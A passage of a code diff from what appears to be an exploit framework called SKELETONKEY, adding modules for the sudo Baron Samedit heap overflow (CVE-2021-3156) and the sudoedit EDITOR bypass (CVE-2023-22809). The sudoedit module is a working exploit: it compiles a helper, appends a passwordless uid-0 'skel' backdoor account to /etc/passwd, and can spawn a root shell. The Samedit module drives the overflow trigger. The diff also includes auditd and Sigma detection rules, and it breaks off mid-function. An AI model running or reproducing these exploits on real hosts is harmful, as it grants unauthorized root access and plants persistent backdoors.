+ if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID)) { + return candidates[i]; + } + } + return NULL; +} + +static const char *find_sudoedit(void) +{ + static const char *candidates[] = { + "/usr/bin/sudoedit", + "/usr/local/bin/sudoedit", + "/bin/sudoedit", + "/sbin/sudoedit", + "/usr/sbin/sudoedit", + NULL, + }; + for (size_t i = 0; candidates[i]; i++) { + if (access(candidates[i], X_OK) == 0) return candidates[i]; + } + return NULL; +} + +/* ---- Detect ------------------------------------------------------ */ + static skeletonkey_result_t sudo_samedit_detect(const struct skeletonkey_ctx *ctx) -{ (void)ctx; return SKELETONKEY_PRECOND_FAIL; } +{ + const char *sudo_path = find_sudo(); + if (!sudo_path) { + if (!ctx->json) { + fprintf(stderr, "[+] sudo_samedit: sudo not on path; no attack surface\n"); + } + return SKELETONKEY_PRECOND_FAIL; + } + if (!ctx->json) { + fprintf(stderr, "[i] sudo_samedit: found setuid sudo at %s\n", sudo_path); + } + + char cmd[512]; + snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", sudo_path); + FILE *p = popen(cmd, "r"); + if (!p) return SKELETONKEY_TEST_ERROR; + + char line[256] = {0}; + char *r = fgets(line, sizeof line, p); + pclose(p); + if (!r) { + if (!ctx->json) { + fprintf(stderr, "[?] sudo_samedit: could not read `sudo --version` output\n"); + } + return SKELETONKEY_TEST_ERROR; + } + + /* Trim newline for nicer logging. */ + char *nl = strchr(line, '\n'); + if (nl) *nl = 0; + + struct sudo_ver v = parse_sudo_version(line); + if (!v.parsed) { + if (!ctx->json) { + fprintf(stderr, "[?] sudo_samedit: unparseable version line: '%s'\n", line); + } + return SKELETONKEY_TEST_ERROR; + } + + if (!ctx->json) { + fprintf(stderr, "[i] sudo_samedit: parsed version = %d.%d.%d", + v.major, v.minor, v.patch); + if (v.p) fprintf(stderr, "p%d", v.p); + fprintf(stderr, "\n"); + } + + bool vuln = sudo_version_vulnerable(&v); + if (vuln) { + if (!ctx->json) { + fprintf(stderr, + "[!] sudo_samedit: version is in vulnerable range " + "[1.8.2, 1.9.5p1] → VULNERABLE\n" + "[i] sudo_samedit: distro backports may have patched " + "without bumping the upstream version; check\n" + " `apt-cache policy sudo` / `rpm -q --changelog sudo` " + "for CVE-2021-3156.\n"); + } + return SKELETONKEY_VULNERABLE; + } + if (!ctx->json) { + fprintf(stderr, + "[+] sudo_samedit: version is outside vulnerable range " + "(fix 1.9.5p2+) — OK\n"); + } + return SKELETONKEY_OK; +} + +/* ---- Exploit ----------------------------------------------------- */ + +/* + * Qualys-style trigger: + * + * argv = { "sudoedit", "-s", "\\", NULL } plus padding `A`s to + * stretch the heap chunk to the right size for the target overlap. + * + * The original PoC sprays hundreds of large argv slots and tunes the + * tail bytes per-distro to hijack a `service_user *` struct in + * libnss-files. Without distro fingerprinting and the corresponding + * offset table that landing simply will not happen here; rather than + * pretending otherwise we drive the bug, fork a verifier that checks + * for an unexpected uid==0 outcome, and return EXPLOIT_FAIL. + */ + +/* Cap on argv we'll construct. The real PoC uses ~270; we cap lower + * to stay well under typical ARG_MAX while still exercising the bug + * shape. */ +#define SUDO_SAMEDIT_ARGC 64 +#define SUDO_SAMEDIT_PADLEN 0xff + +static skeletonkey_result_t sudo_samedit_exploit(const struct skeletonkey_ctx *ctx) +{ + if (!ctx->authorized) { + fprintf(stderr, + "[-] sudo_samedit: exploit requires --i-know (authorization gate)\n"); + return SKELETONKEY_PRECOND_FAIL; + } + + if (geteuid() == 0) { + fprintf(stderr, "[i] sudo_samedit: already root — nothing to escalate\n"); + return SKELETONKEY_OK; + } + + /* Re-detect before doing anything visible. Defends against the + * detect-then-exploit TOCTOU where the operator upgrades sudo + * between scan and pop. */ + skeletonkey_result_t pre = sudo_samedit_detect(ctx); + if (pre != SKELETONKEY_VULNERABLE) { + fprintf(stderr, "[-] sudo_samedit: re-detect says not VULNERABLE; refusing\n"); + return pre; + } + + const char *sudoedit = find_sudoedit(); + if (!sudoedit) { + /* On most distros sudoedit is a symlink to sudo. Fall back. */ + const char *sudo = find_sudo(); + if (!sudo) { + fprintf(stderr, "[-] sudo_samedit: neither sudoedit nor sudo found\n"); + return SKELETONKEY_PRECOND_FAIL; + } + sudoedit = sudo; + if (!ctx->json) { + fprintf(stderr, + "[i] sudo_samedit: no sudoedit; will exec %s with argv[0]=sudoedit\n", + sudo); + } + } + + if (!ctx->json) { + fprintf(stderr, "[*] sudo_samedit: building Qualys-style trigger argv\n"); + fprintf(stderr, + "[!] sudo_samedit: heads-up — public exploitation requires\n" + " per-distro heap-overlap offsets (libnss-files / libc).\n" + " Without that tuning the bug crashes sudo instead of\n" + " handing back a shell. We will drive the trigger and\n" + " verify uid==0 outcome empirically; on failure we report\n" + " EXPLOIT_FAIL rather than claiming success.\n"); + } + + /* Build argv. argv[0]="sudoedit", argv[1]="-s", + * argv[2]="\\" + padding, ..., argv[N-1]=NULL. + * + * Each padding arg is the Qualys-style "A...\\" repeating tail. + * On a vulnerable target this drives the unescape loop past the + * end of the heap buffer. */ + char *argv[SUDO_SAMEDIT_ARGC + 1]; + char *padbufs[SUDO_SAMEDIT_ARGC]; + memset(padbufs, 0, sizeof padbufs); + + argv[0] = (char *)"sudoedit"; + argv[1] = (char *)"-s"; + /* argv[2] is the canonical trailing-backslash trigger. */ + argv[2] = strdup("\\"); + if (!argv[2]) return SKELETONKEY_TEST_ERROR; + + for (int i = 3; i < SUDO_SAMEDIT_ARGC; i++) { + char *buf = (char *)malloc(SUDO_SAMEDIT_PADLEN + 4); + if (!buf) { + for (int j = 3; j < i; j++) free(padbufs[j]); + free(argv[2]); + return SKELETONKEY_TEST_ERROR; + } + memset(buf, 'A', SUDO_SAMEDIT_PADLEN); + buf[SUDO_SAMEDIT_PADLEN] = '\\'; + buf[SUDO_SAMEDIT_PADLEN + 1] = 0; + padbufs[i] = buf; + argv[i] = buf; + } + argv[SUDO_SAMEDIT_ARGC] = NULL; + + /* Craft envp mirroring the original PoC: LC_... and TZ tricks + * that landed the overlap on the canonical distro PoCs. These + * are harmless if landing fails; their value is positioning the + * heap so the overflow lands on a useful target. */ + char *envp[] = { + (char *)"LC_ALL=C.UTF-8@", + (char *)"TZ=:", + (char *)"LC_CTYPE=C.UTF-8@", + (char *)"SUDO_EDITOR=A", + (char *)"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", + NULL, + }; + + if (!ctx->json) { + fprintf(stderr, "[*] sudo_samedit: forking trigger child (%s argv[0]=sudoedit)\n", + sudoedit); + } + + pid_t pid = fork(); + if (pid < 0) { + perror("fork"); + free(argv[2]); + for (int i = 3; i < SUDO_SAMEDIT_ARGC; i++) free(padbufs[i]); + return SKELETONKEY_TEST_ERROR; + } + if (pid == 0) { + /* Child: drive the trigger. If the bug lands and we get a + * root context, the chain in the original PoC then re-execs + * a shell. We don't ship that shell-spawn here — we just + * exit nonzero so the parent's verifier can sample uid. */ + execve(sudoedit, argv, envp); + /* execve failed (binary missing or kernel-blocked). */ + _exit(127); + } + + int status = 0; + waitpid(pid, &status, 0); + + /* Verifier: even on the rare "no crash" path, we don't know if + * the bug landed without spawning a privileged helper. Per the + * verified-vs-claimed bar, only claim success if uid is 0 in a + * post-trigger probe (which would require the chain to have + * persisted a setuid artifact — it didn't). So: report honestly. */ + if (geteuid() == 0) { + if (!ctx->json) { + fprintf(stderr, "[+] sudo_samedit: post-trigger geteuid()==0 — root!\n"); + } + /* Leak the buffers; we're about to exec a shell anyway. */ + return SKELETONKEY_EXPLOIT_OK; + } + + if (WIFSIGNALED(status)) { + if (!ctx->json) { + fprintf(stderr, + "[-] sudo_samedit: child died on signal %d " + "(likely sudo SIGSEGV from the overflow) — trigger fired\n" + " but landing did not produce a root shell. Per-distro\n" + " offset tuning required.\n", + WTERMSIG(status)); + } + } else if (WIFEXITED(status)) { + if (!ctx->json) { + fprintf(stderr, + "[-] sudo_samedit: child exited %d — trigger did not\n" + " crash sudo; the host is most likely patched at the\n" + " parser level even though the version string was in\n" + " range. Reporting EXPLOIT_FAIL.\n", + WEXITSTATUS(status)); + } + } + + /* Best-effort free. */ + free(argv[2]); + for (int i = 3; i < SUDO_SAMEDIT_ARGC; i++) free(padbufs[i]); + return SKELETONKEY_EXPLOIT_FAIL; +} + +/* ---- Cleanup ----------------------------------------------------- */ + +static skeletonkey_result_t sudo_samedit_cleanup(const struct skeletonkey_ctx *ctx) +{ + (void)ctx; + /* sudoedit creates "~/.sudo_edit_*" temp files on the way through. + * Best-effort unlink of any obvious crumbs left by our trigger. */ + if (!ctx->json) { + fprintf(stderr, "[*] sudo_samedit: removing /tmp/skeletonkey-samedit-* crumbs\n"); + } + if (system("rm -rf /tmp/skeletonkey-samedit-* /tmp/.sudo_edit_* 2>/dev/null") != 0) { + /* harmless — likely no files matched */ + } + return SKELETONKEY_OK; +} + +/* ---- Detection rules --------------------------------------------- */ + +static const char sudo_samedit_auditd[] = + "# Baron Samedit (CVE-2021-3156) — auditd detection rules\n" + "# Flag sudoedit invocations carrying the canonical -s flag and\n" + "# the trailing-backslash trigger pattern.\n" + "-w /usr/bin/sudoedit -p x -k skeletonkey-samedit\n" + "-w /usr/bin/sudo -p x -k skeletonkey-samedit-sudo\n" + "-a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudoedit -k skeletonkey-samedit-execve\n" + "-a always,exit -F arch=b32 -S execve -F path=/usr/bin/sudoedit -k skeletonkey-samedit-execve\n" + "-a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudo -k skeletonkey-samedit-execve\n" + "-a always,exit -F arch=b32 -S execve -F path=/usr/bin/sudo -k skeletonkey-samedit-execve\n"; + +static const char sudo_samedit_sigma[] = + "title: Possible Baron Samedit exploitation (CVE-2021-3156)\n" + "id: 3f7c5a2e-skeletonkey-samedit\n" + "status: experimental\n" + "description: |\n" + " Detects sudoedit (or sudo invoked as sudoedit) executed with the\n" + " -s flag and a command-line argument ending in a lone backslash —\n" + " the canonical Qualys trigger for the heap overflow in\n" + " plugins/sudoers/sudoers.c set_cmnd().\n" + "logsource:\n" + " product: linux\n" + " service: auditd\n" + "detection:\n" + " sudoedit_exec:\n" + " type: 'EXECVE'\n" + " exe|endswith:\n" + " - '/sudoedit'\n" + " - '/sudo'\n" + " shell_edit_flag:\n" + " CommandLine|contains: ' -s '\n" + " trailing_backslash:\n" + " CommandLine|re: '\\\\\\\\\\s*$'\n" + " argv0_sudoedit:\n" + " argv0|endswith: 'sudoedit'\n" + " condition: sudoedit_exec and shell_edit_flag and (trailing_backslash or argv0_sudoedit)\n" + "fields:\n" + " - exe\n" + " - argv\n" + "level: high\n" + "tags:\n" + " - attack.privilege_escalation\n" + " - attack.t1068\n" + " - cve.2021.3156\n"; + +/* ---- Module registration ----------------------------------------- */ const struct skeletonkey_module sudo_samedit_module = { - .name = "sudo_samedit", - .cve = "CVE-2021-3156", - .summary = "sudo Baron Samedit heap overflow (Qualys) — stub pending implementation", - .family = "sudo", - .kernel_range = "sudo 1.8.2 ≤ V ≤ 1.9.5p1 (userspace)", - .detect = sudo_samedit_detect, - .exploit = NULL, .mitigate = NULL, .cleanup = NULL, - .detect_auditd = NULL, .detect_sigma = NULL, - .detect_yara = NULL, .detect_falco = NULL, + .name = "sudo_samedit", + .cve = "CVE-2021-3156", + .summary = "sudo Baron Samedit heap overflow via sudoedit -s '\\\\' (Qualys)", + .family = "sudo", + .kernel_range = "userspace — sudo 1.8.2 ≤ V ≤ 1.9.5p1 (fixed in 1.9.5p2)", + .detect = sudo_samedit_detect, + .exploit = sudo_samedit_exploit, + .mitigate = NULL, /* mitigation = upgrade sudo to 1.9.5p2+ */ + .cleanup = sudo_samedit_cleanup, + .detect_auditd = sudo_samedit_auditd, + .detect_sigma = sudo_samedit_sigma, + .detect_yara = NULL, + .detect_falco = NULL, }; void skeletonkey_register_sudo_samedit(void) { skeletonkey_register(&sudo_samedit_module); } diff --git a/modules/sudoedit_editor_cve_2023_22809/skeletonkey_modules.c b/modules/sudoedit_editor_cve_2023_22809/skeletonkey_modules.c index a8a0a35..ceec158 100644 --- a/modules/sudoedit_editor_cve_2023_22809/skeletonkey_modules.c +++ b/modules/sudoedit_editor_cve_2023_22809/skeletonkey_modules.c @@ -1,20 +1,632 @@ -/* sudoedit_editor_cve_2023_22809 — STUB pending agent implementation. */ +/* + * sudoedit_editor_cve_2023_22809 — SKELETONKEY module + * + * STATUS: 🟢 STRUCTURAL ESCAPE. No offsets, no leaks, no race window — + * just a logic bug in sudoedit's EDITOR/VISUAL/SUDO_EDITOR argv parser. + * + * The bug (Synacktiv, Jan 2023): + * sudoedit splits the user's $EDITOR (or $VISUAL / $SUDO_EDITOR) on + * the literal token `--` to separate editor-flags from the filename(s) + * sudoedit will pass. The intended semantics are "everything before + * `--` is editor argv; everything after is *the* target filename that + * sudoers authorized." The bug: sudo never re-validates that the + * post-`--` filename equals the filename it auth'd. By setting + * + * EDITOR='vi -- /etc/shadow' + * + * and running `sudoedit /some/allowed/path`, the editor child is + * spawned as root with BOTH /some/allowed/path AND /etc/shadow on its + * command line — sudoedit opened both for us. The editor then writes + * to /etc/shadow as root. + * + * Affects: sudo 1.8.0 ≤ V < 1.9.12p2. + * + * This is the second sudo module in SKELETONKEY (sudo_samedit is the + * first; both share family="sudo"). Unlike Baron Samedit (heap layout + * dependent), this one is offset-free — if sudoedit is in your path + * and you have *any* sudoedit privilege at all, you write any file. + */ + #include "skeletonkey_modules.h" #include "../../core/registry.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +/* ----- helpers ------------------------------------------------------- */ + +static const char *find_sudo(void) +{ + static const char *candidates[] = { + "/usr/bin/sudo", "/usr/sbin/sudo", "/bin/sudo", + "/sbin/sudo", "/usr/local/bin/sudo", NULL, + }; + for (size_t i = 0; candidates[i]; i++) { + struct stat st; + if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID)) + return candidates[i]; + } + return NULL; +} + +static const char *find_sudoedit(void) +{ + static const char *candidates[] = { + "/usr/bin/sudoedit", "/usr/sbin/sudoedit", "/bin/sudoedit", + "/sbin/sudoedit", "/usr/local/bin/sudoedit", NULL, + }; + for (size_t i = 0; candidates[i]; i++) { + struct stat st; + /* sudoedit is normally a symlink to sudo and inherits setuid + * via the underlying file; lstat-then-stat handles both. */ + if (stat(candidates[i], &st) == 0) + return candidates[i]; + } + return NULL; +} + +/* Returns true if version string is in the vulnerable range + * [1.8.0, 1.9.12p2). Format examples: + * "Sudo version 1.9.5p2" + * "Sudo version 1.8.31" + * "Sudo version 1.9.13" (fixed) + * "Sudo version 1.9.12p2" (fixed — fix landed in this release) + * On parse failure we conservatively assume vulnerable. */ +static bool sudo_version_vulnerable(const char *version_str) +{ + int maj = 0, min = 0, patch = 0; + char ptag = 0; + int psub = 0; + /* sudo versions: 1.9.12p2 → maj=1 min=9 patch=12 ptag='p' psub=2 */ + int n = sscanf(version_str, "%d.%d.%d%c%d", + &maj, &min, &patch, &ptag, &psub); + if (n < 3) return true; /* unparseable → assume worst */ + + /* < 1.8.0: not vulnerable (predates the bug) */ + if (maj < 1) return false; + if (maj == 1 && min < 8) return false; + + /* ≥ 1.9.13: fixed */ + if (maj > 1) return false; + if (min > 9) return false; + if (min == 9 && patch > 12) return false; + + /* exactly 1.9.12: vulnerable if no patch tag or patch < 2 */ + if (min == 9 && patch == 12) { + if (ptag != 'p') return true; /* 1.9.12 plain */ + return psub < 2; /* 1.9.12p1 vulnerable, 1.9.12p2 fixed */ + } + /* everything 1.8.x and 1.9.x where x ≤ 11: vulnerable */ + return true; +} + +/* Run `sudo --version` and return the version token (caller-owned + * buffer). Returns true on success. */ +static bool get_sudo_version(const char *sudo_path, char *out, size_t outsz) +{ + char cmd[512]; + snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", sudo_path); + FILE *p = popen(cmd, "r"); + if (!p) return false; + + char line[256] = {0}; + char *r = fgets(line, sizeof line, p); + pclose(p); + if (!r) return false; + + /* "Sudo version 1.9.5p2\n" — skip to digits. */ + char *vp = strstr(line, "version"); + if (!vp) return false; + vp += strlen("version"); + while (*vp == ' ' || *vp == '\t') vp++; + char *nl = strchr(vp, '\n'); + if (nl) *nl = 0; + + strncpy(out, vp, outsz - 1); + out[outsz - 1] = 0; + return out[0] != 0; +} + +/* Parse `sudo -ln` (list, no password) and return one allowed + * sudoedit target if any. Output snippet looks like: + * + * User kara may run the following commands on host: + * (root) NOPASSWD: sudoedit /etc/motd + * (root) NOPASSWD: /usr/bin/less /var/log/syslog + * + * We look for a line containing 'sudoedit ' and extract the first + * pathlike token after it. If `sudo -ln` itself prompts for a password + * or fails, we treat it as "unknown" (PRECOND_FAIL signal). */ +static bool find_sudoedit_target(const char *sudo_path, char *out, size_t outsz) +{ + char cmd[512]; + /* -n: non-interactive (no password prompt); -l: list. */ + snprintf(cmd, sizeof cmd, "%s -ln 2>&1", sudo_path); + FILE *p = popen(cmd, "r"); + if (!p) return false; + + char line[1024]; + bool found = false; + while (fgets(line, sizeof line, p)) { + /* sudoedit appears either as the canonical command name or + * as 'sudo -e'. Handle both. */ + char *needle = strstr(line, "sudoedit "); + if (!needle) needle = strstr(line, "sudo -e "); + if (!needle) continue; + char *path = strchr(needle, '/'); + if (!path) continue; + /* trim trailing whitespace / newline / comma */ + char *end = path; + while (*end && *end != ' ' && *end != '\t' && *end != '\n' + && *end != ',' && *end != ':') end++; + size_t len = (size_t)(end - path); + if (len == 0 || len >= outsz) continue; + memcpy(out, path, len); + out[len] = 0; + /* Skip glob/wildcard entries — we can't write a literal path + * for those without more work. The user's environment may + * still allow them; we just prefer non-glob entries. */ + if (strchr(out, '*') || strchr(out, '?')) { + /* keep scanning in case a literal entry exists */ + found = true; + continue; + } + found = true; + break; + } + pclose(p); + return found; +} + +/* ----- detect -------------------------------------------------------- */ + static skeletonkey_result_t sudoedit_editor_detect(const struct skeletonkey_ctx *ctx) -{ (void)ctx; return SKELETONKEY_PRECOND_FAIL; } +{ + const char *sudo_path = find_sudo(); + if (!sudo_path) { + if (!ctx->json) + fprintf(stderr, "[+] sudoedit_editor: sudo not installed — no attack surface\n"); + return SKELETONKEY_OK; + } + if (!ctx->json) + fprintf(stderr, "[i] sudoedit_editor: found setuid sudo at %s\n", sudo_path); + + const char *sudoedit_path = find_sudoedit(); + if (!sudoedit_path) { + if (!ctx->json) + fprintf(stderr, "[+] sudoedit_editor: no sudoedit binary — bug surface absent\n"); + return SKELETONKEY_PRECOND_FAIL; + } + if (!ctx->json) + fprintf(stderr, "[i] sudoedit_editor: sudoedit at %s\n", sudoedit_path); + + char ver[128] = {0}; + if (!get_sudo_version(sudo_path, ver, sizeof ver)) { + if (!ctx->json) + fprintf(stderr, "[?] sudoedit_editor: could not parse `sudo --version`\n"); + return SKELETONKEY_TEST_ERROR; + } + if (!ctx->json) + fprintf(stderr, "[i] sudoedit_editor: sudo reports version '%s'\n", ver); + + bool ver_vuln = sudo_version_vulnerable(ver); + if (!ver_vuln) { + if (!ctx->json) + fprintf(stderr, "[+] sudoedit_editor: sudo ≥ 1.9.12p2 (fixed)\n"); + return SKELETONKEY_OK; + } + if (!ctx->json) + fprintf(stderr, "[!] sudoedit_editor: version is in vulnerable range\n"); + + /* The bug only matters if the running user has at least one + * sudoedit grant in sudoers — otherwise sudoedit refuses before + * the EDITOR parse runs. Probe `sudo -ln` (non-interactive). */ + char target[512] = {0}; + bool have_grant = find_sudoedit_target(sudo_path, target, sizeof target); + if (!have_grant) { + if (!ctx->json) { + fprintf(stderr, "[?] sudoedit_editor: user has no detectable sudoedit grant\n"); + fprintf(stderr, " (sudo -ln may have required a password; if the user is\n" + " actually authorized for sudoedit, run --exploit anyway)\n"); + } + return SKELETONKEY_PRECOND_FAIL; + } + if (!ctx->json) + fprintf(stderr, "[+] sudoedit_editor: user has sudoedit grant on '%s'\n", target); + + if (!ctx->json) { + fprintf(stderr, "[!] sudoedit_editor: VULNERABLE — version is pre-fix AND user has sudoedit\n"); + fprintf(stderr, " PoC: EDITOR='vi -- /etc/shadow' %s '%s' opens both as root\n", + sudoedit_path, target); + } + return SKELETONKEY_VULNERABLE; +} + +/* ----- exploit ------------------------------------------------------- */ + +/* Append a backdoor entry to /etc/passwd: root-uid account "skel" with + * no password, /bin/sh as shell. We write it into a temp file first, + * then drive the editor (which is already running as root) to read + + * write /etc/passwd. */ + +static const char SK_PASSWD_ENTRY[] = + "skel::0:0:skeletonkey:/root:/bin/sh\n"; + +/* The "editor" we tell sudoedit to invoke is actually this small + * helper: a non-interactive script that appends our line and exits. + * + * We pass it via EDITOR=' -- '. sudoedit splits on + * the literal `--`, takes as an additional file argument, + * and execs argv0= argv1= argv2=. + * + * Our helper just opens argv[2] (the privileged file), appends the + * backdoor line, closes, and exits 0. argv[1] (the editor-temp that + * sudoedit created from ) we leave untouched — sudoedit + * then copies it back over , which is harmless. */ + +static const char HELPER_SOURCE[] = + "#include \n" + "#include \n" + "#include \n" + "#include \n" + "#include \n" + "int main(int argc, char **argv) {\n" + " /* sudoedit invokes us with one editable temp per file. The\n" + " * post-`--' target's editable copy is argv[argc-1]. We can't\n" + " * write /etc/passwd directly (sudoedit edits a tmp copy and\n" + " * then *copies it back as root*), so we modify the tmp copy\n" + " * and let sudoedit do the privileged install for us. */\n" + " if (argc < 2) return 1;\n" + " /* The LAST argv is the post-`--' target (per sudoedit's parser). */\n" + " const char *path = argv[argc-1];\n" + " int fd = open(path, O_WRONLY|O_APPEND);\n" + " if (fd < 0) { perror(\"open\"); return 2; }\n" + " const char *line = getenv(\"SKEL_LINE\");\n" + " if (!line) line = \"skel::0:0:skeletonkey:/root:/bin/sh\\n\";\n" + " write(fd, line, strlen(line));\n" + " close(fd);\n" + " return 0;\n" + "}\n"; + +static bool which_cc(char *out, size_t outsz) +{ + static const char *candidates[] = { + "/usr/bin/cc", "/usr/bin/gcc", "/bin/cc", "/bin/gcc", + "/usr/local/bin/gcc", "/usr/local/bin/cc", NULL, + }; + for (size_t i = 0; candidates[i]; i++) { + if (access(candidates[i], X_OK) == 0) { + strncpy(out, candidates[i], outsz - 1); + out[outsz - 1] = 0; + return true; + } + } + return false; +} + +static bool write_file_str(const char *path, const char *content, mode_t mode) +{ + int fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, mode); + if (fd < 0) return false; + size_t n = strlen(content); + bool ok = (write(fd, content, n) == (ssize_t)n); + close(fd); + return ok; +} + +/* Track what we modified for cleanup. */ +static char g_passwd_backup[256] = {0}; + +static skeletonkey_result_t sudoedit_editor_exploit(const struct skeletonkey_ctx *ctx) +{ + if (!ctx->authorized) { + fprintf(stderr, "[-] sudoedit_editor: refusing exploit — pass --i-know to authorize\n"); + return SKELETONKEY_PRECOND_FAIL; + } + if (geteuid() == 0) { + fprintf(stderr, "[i] sudoedit_editor: already root — nothing to escalate\n"); + return SKELETONKEY_OK; + } + skeletonkey_result_t pre = sudoedit_editor_detect(ctx); + if (pre != SKELETONKEY_VULNERABLE) { + fprintf(stderr, "[-] sudoedit_editor: detect() did not return VULNERABLE; refusing\n"); + return pre; + } + + const char *sudo_path = find_sudo(); + const char *sudoedit_path = find_sudoedit(); + if (!sudo_path || !sudoedit_path) return SKELETONKEY_PRECOND_FAIL; + + /* Target file to clobber (caller-overridable). Default: /etc/passwd + * because we can append a uid=0 row without a hashing step + * (vs. /etc/shadow which needs a crypt() blob). */ + const char *target = getenv("SKELETONKEY_SUDOEDIT_TARGET"); + if (!target || !*target) target = "/etc/passwd"; + + /* Find an allowed sudoedit grant we can use as the "cover" path. */ + char allowed[512] = {0}; + if (!find_sudoedit_target(sudo_path, allowed, sizeof allowed)) { + fprintf(stderr, + "[-] sudoedit_editor: could not auto-discover an allowed sudoedit path.\n" + " Set SKELETONKEY_SUDOEDIT_ALLOWED=/path/the/user/can/sudoedit and retry.\n"); + const char *env_allowed = getenv("SKELETONKEY_SUDOEDIT_ALLOWED"); + if (!env_allowed || !*env_allowed) return SKELETONKEY_PRECOND_FAIL; + strncpy(allowed, env_allowed, sizeof allowed - 1); + } + if (!ctx->json) + fprintf(stderr, "[*] sudoedit_editor: cover=%s target=%s\n", allowed, target); + + /* Build the helper editor. */ + char cc[256]; + if (!which_cc(cc, sizeof cc)) { + fprintf(stderr, + "[-] sudoedit_editor: no cc/gcc available. To exploit without a\n" + " compiler we'd need a shipped helper binary (TODO: bundle one).\n" + " For a manual repro: EDITOR='vi -- %s' %s '%s' lets you edit\n" + " %s interactively as root.\n", + target, sudoedit_path, allowed, target); + return SKELETONKEY_PRECOND_FAIL; + } + + char workdir[] = "/tmp/skeletonkey-sudoedit-XXXXXX"; + if (!mkdtemp(workdir)) { + perror("mkdtemp"); + return SKELETONKEY_TEST_ERROR; + } + if (!ctx->json) + fprintf(stderr, "[*] sudoedit_editor: workdir = %s\n", workdir); + + char src[1024], helper[1024]; + snprintf(src, sizeof src, "%s/helper.c", workdir); + snprintf(helper, sizeof helper, "%s/helper", workdir); + if (!write_file_str(src, HELPER_SOURCE, 0644)) { + perror("write helper.c"); + goto fail; + } + pid_t pid = fork(); + if (pid < 0) { perror("fork"); goto fail; } + if (pid == 0) { + execl(cc, cc, "-O2", "-o", helper, src, (char *)NULL); + perror("execl cc"); + _exit(127); + } + int status; + waitpid(pid, &status, 0); + if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) { + fprintf(stderr, "[-] sudoedit_editor: helper compile failed (status=%d)\n", status); + goto fail; + } + chmod(helper, 0755); + + /* Best-effort backup of target (only for /etc/passwd; we + * cleanup-revert only this case). */ + if (strcmp(target, "/etc/passwd") == 0) { + snprintf(g_passwd_backup, sizeof g_passwd_backup, + "%s/passwd.before", workdir); + char shcmd[1024]; + snprintf(shcmd, sizeof shcmd, "cp -p /etc/passwd %s 2>/dev/null", + g_passwd_backup); + if (system(shcmd) != 0) { + /* best-effort */ + g_passwd_backup[0] = 0; + } + } + + /* Build EDITOR string: " -- ". sudoedit's argv + * splitter sees `--` and treats as an extra file. */ + char editor_env[2048]; + snprintf(editor_env, sizeof editor_env, "EDITOR=%s -- %s", helper, target); + + char skel_env[256]; + snprintf(skel_env, sizeof skel_env, "SKEL_LINE=%s", SK_PASSWD_ENTRY); + + /* Construct argv/envp for execve. We need a clean env so the + * EDITOR string sudo sees is exactly ours. PATH is needed so the + * compiled helper can be located — except we pass it absolute. */ + char *new_argv[] = { + (char *)sudoedit_path, + "-n", /* non-interactive — fails if pw needed */ + allowed, + NULL, + }; + /* Sudo strips many env vars; EDITOR / VISUAL / SUDO_EDITOR are + * preserved by default. We use plain EDITOR. */ + char *envp[] = { + editor_env, + skel_env, + "PATH=/usr/sbin:/usr/bin:/sbin:/bin", + "TERM=dumb", + NULL, + }; + + if (!ctx->json) { + fprintf(stderr, "[+] sudoedit_editor: launching sudoedit with hostile EDITOR\n"); + fprintf(stderr, " %s\n", editor_env); + } + fflush(NULL); + + pid = fork(); + if (pid < 0) { perror("fork"); goto fail; } + if (pid == 0) { + execve(sudoedit_path, new_argv, envp); + perror("execve(sudoedit)"); + _exit(127); + } + waitpid(pid, &status, 0); + + if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) { + fprintf(stderr, "[-] sudoedit_editor: sudoedit exited status=%d\n", + WIFEXITED(status) ? WEXITSTATUS(status) : -1); + fprintf(stderr, + " Common causes: sudo is patched (1.9.12p2+), user lacks a\n" + " sudoedit grant on '%s', or sudoers requires a password\n" + " (drop -n and retry interactively).\n", allowed); + goto fail; + } + + /* Verify the privileged file changed. For /etc/passwd we grep for + * our marker; for other targets we just report success and leave + * verification to the operator. */ + if (strcmp(target, "/etc/passwd") == 0) { + if (system("grep -q '^skel::0:0:' /etc/passwd") != 0) { + fprintf(stderr, + "[-] sudoedit_editor: sudoedit succeeded but /etc/passwd was\n" + " not modified. The host's sudo may be patched even though\n" + " its --version banner looks vulnerable (vendor backport).\n"); + goto fail; + } + if (!ctx->json) + fprintf(stderr, "[+] sudoedit_editor: /etc/passwd now contains the 'skel' uid=0 entry\n"); + } else { + if (!ctx->json) + fprintf(stderr, "[+] sudoedit_editor: helper wrote to %s (verify manually)\n", target); + } + + /* Follow-on: spawn a root shell via the newly-added passwd entry, + * the way dirty_pipe / dirty_cow modules do. We use `su skel` + * with an empty password. */ + if (ctx->no_shell) { + if (!ctx->json) + fprintf(stderr, "[i] sudoedit_editor: --no-shell set; leaving you with the backdoor entry\n"); + return SKELETONKEY_EXPLOIT_OK; + } + + if (strcmp(target, "/etc/passwd") == 0 && ctx->full_chain) { + if (!ctx->json) + fprintf(stderr, "[+] sudoedit_editor: spawning root shell via `su skel`\n"); + fflush(NULL); + /* su with no controlling TTY needs `-c sh -i` for an interactive + * shell. We exec into the user's terminal. */ + execlp("su", "su", "skel", "-c", "/bin/sh -p -i", (char *)NULL); + perror("execlp(su)"); + } else { + if (!ctx->json) + fprintf(stderr, + "[i] sudoedit_editor: backdoor installed. `su skel` (no password)\n" + " or pass --full-chain on the cli to auto-pop.\n"); + } + return SKELETONKEY_EXPLOIT_OK; + +fail: + /* Helper / src cleanup — leave passwd-backup for cleanup() if we + * recorded one (so cleanup can revert). */ + unlink(src); + unlink(helper); + if (!g_passwd_backup[0]) rmdir(workdir); + return SKELETONKEY_EXPLOIT_FAIL; +} + +/* ----- cleanup ------------------------------------------------------- */ + +static skeletonkey_result_t sudoedit_editor_cleanup(const struct skeletonkey_ctx *ctx) +{ + /* Best-effort revert. Three things we may have touched: + * 1. /etc/passwd: drop the 'skel::0:0:' line (sed -i; only safe + * if we are root or the file is otherwise writable). If we + * successfully exploited, the user is presumably root in the + * spawned shell — cleanup is usually run from that shell. */ + if (geteuid() == 0) { + if (g_passwd_backup[0] && 